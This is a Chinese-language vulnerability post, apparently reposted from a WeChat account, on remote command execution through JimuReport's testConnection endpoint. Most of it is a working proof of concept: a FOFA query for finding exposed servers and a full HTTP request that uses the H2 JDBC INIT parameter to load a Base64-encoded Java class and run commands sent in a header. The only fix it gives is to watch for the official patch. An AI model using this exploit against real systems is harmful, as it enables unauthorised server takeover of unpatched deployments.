JimuReport (积木报表) testConnection接口存在远程命令执行漏洞

渗透技巧 10个月前 admin
140 0 0

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


漏洞描述

积木报表工具是基于JeecgBoot低代码平台开发的一款免费、开源的报表工具,无需编码,通过在线拖拽可设计复杂报表和炫酷大屏。精心预设多种行业模板,极致展示数据魅力,致力打造一款“专业 易用 优质”的大屏设计器和报表设计器。

该工具testConnection接口存在远程命令执行漏洞,可直接执行命令,控制服务器。

漏洞利用

01

漏洞点

http://IP:PORT/jmreport/testConnection

02
利用方式

1、FOFA搜索

body="积木报表" && title="在线设计"

JimuReport (积木报表) testConnection接口存在远程命令执行漏洞

2、POC

POST /jmreport/testConnection HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/jsonCmd: whoamiContent-Length: 8913
{ "id":"1", "code":"ABC", "dbType":"MySQL", "dbDriver":"org.h2.Driver", "dbUrl":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String b) throws Exception {byte[] bytes\;try{bytes=java.util.Base64.getDecoder().decode(b)\;}catch (Exception e){e.printStackTrace()\;bytes=javax.xml.bind.DatatypeConverter.parseBase64Binary(b)\;}java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class,int.class,int.class)\;defineClassMethod.setAccessible(true)\;Class clz=(Class)defineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0,bytes.length)\;clz.newInstance()\;}'\;CALL EXEC('yv66vgAAADEBawoAHQCSCgBEAJM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JGQi2AHG2AHKn/+4ZCrYAcxkJtgBzFAB0uAB2GQS2AHdXpwAIOgun/54ZBLYAYxkFtgB4pwAgTrsAUFm3AFESebYAUi22AHq2AFISe7YAUrYAVLASfLAAAgC4AL4AwQAvAAAA0ADTAC8AAQCGAAAAbgAbAAAAowAQAKQAHQCmACcAqAAwAKkAPgCqAFMAqwBhAKwAaQCtAHEArgB+ALAAhgCxAJMAswCbALQAqAC2AK0AtwCyALgAuAC6AL4AuwDBALwAwwC9AMYAvwDLAMAA0ADDANMAwQDUAMIA8ADEAAEAjwCEAAEAhQAAACoAAwABAAAADioqtABAKrQAQ7YAfVexAAAAAQCGAAAACgACAAAA1AANANUAAQCQAAAAAgCR')", "dbName":"383BAb7deFC825E6", "dbPassword":"917982", "userName":"917982" }

JimuReport (积木报表) testConnection接口存在远程命令执行漏洞

测试时还发现有各种情况,比如说驱动类不存在或者需要角色权限,可惜不会代码审计,不然是否还有其他的POC呢?JimuReport (积木报表) testConnection接口存在远程命令执行漏洞

JimuReport (积木报表) testConnection接口存在远程命令执行漏洞

漏洞修复
关注官方补丁

各位大佬关注下家里的小店
有啥想买的可以买
    !
👇👇👇

JimuReport (积木报表) testConnection接口存在远程命令执行漏洞



原文始发于微信公众号(网安小白成长日记):JimuReport (积木报表) testConnection接口存在远程命令执行漏洞

版权声明:admin 发表于 2024年1月29日 上午12:09。
转载请注明:JimuReport (积木报表) testConnection接口存在远程命令执行漏洞 | CTF导航

相关文章